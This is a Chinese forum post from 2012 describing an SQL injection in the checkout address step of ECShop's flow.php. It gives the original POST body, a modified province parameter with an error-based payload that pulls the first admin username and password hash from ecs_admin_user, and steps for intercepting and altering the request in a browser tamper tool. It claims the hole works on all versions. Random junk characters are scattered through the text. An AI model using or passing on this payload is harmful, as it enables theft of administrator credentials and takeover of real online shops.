感谢欠杀的黑盒
6 l$ Y! m! a& _2 y& o
' G6 I$ X4 l2 ^0 C( B9 P
, u {. s1 O5 }5 i把任意商品加入购物车在填写配送地址那一页，有地区选择" |5 t: m6 b' ~" q
+ U# L# s' g% X+ Rflow.php?step=consignee&direct_shopping=16 W& d$ t# L4 N3 y) F4 X
比如省选择安徽- _+ W4 t! X! p; ~9 E" I9 E2 @) p a
* s' h# V# I8 Z( k8 @+ Q$ [
其中POST数据如下1 j+ A2 Z6 \1 w; D! [
9 J5 J9 D. F. |
country=1&province=3&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=province=3
* w+ G' `4 X7 W1 {改成
: V3 u% t3 z5 C3 H8 h 4 x4 A- r" U: Y6 K p
province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #
0 v4 h# E, G1 G5 {8 O$ X% |+ dps：详细的方法，用火狐tamper data插件……..即可改post内容…..$ X# P0 k/ u) E% d
3 o: G9 C7 g* J c2 A
先注册账户，随便选个商品进购物车，然后填地址，电话什么的，填好开始抓包，改包
4 _: Q1 G: c- I* B: S* K* f
8 j+ c& _, L9 i& Y$ e* O就会回显错误页面了。。。。) q. @7 O3 ]+ [7 L) G F0 K, R
0 ]' M0 L: j: Q% U* R
我自己没用这个日站过，就测试了一个最新版和老版本，均ok，所以写全版本，理论上应该是的) C% Z' K0 w$ _) P
|
发表于 2012-12-31 09:19:27
收藏
支持
反对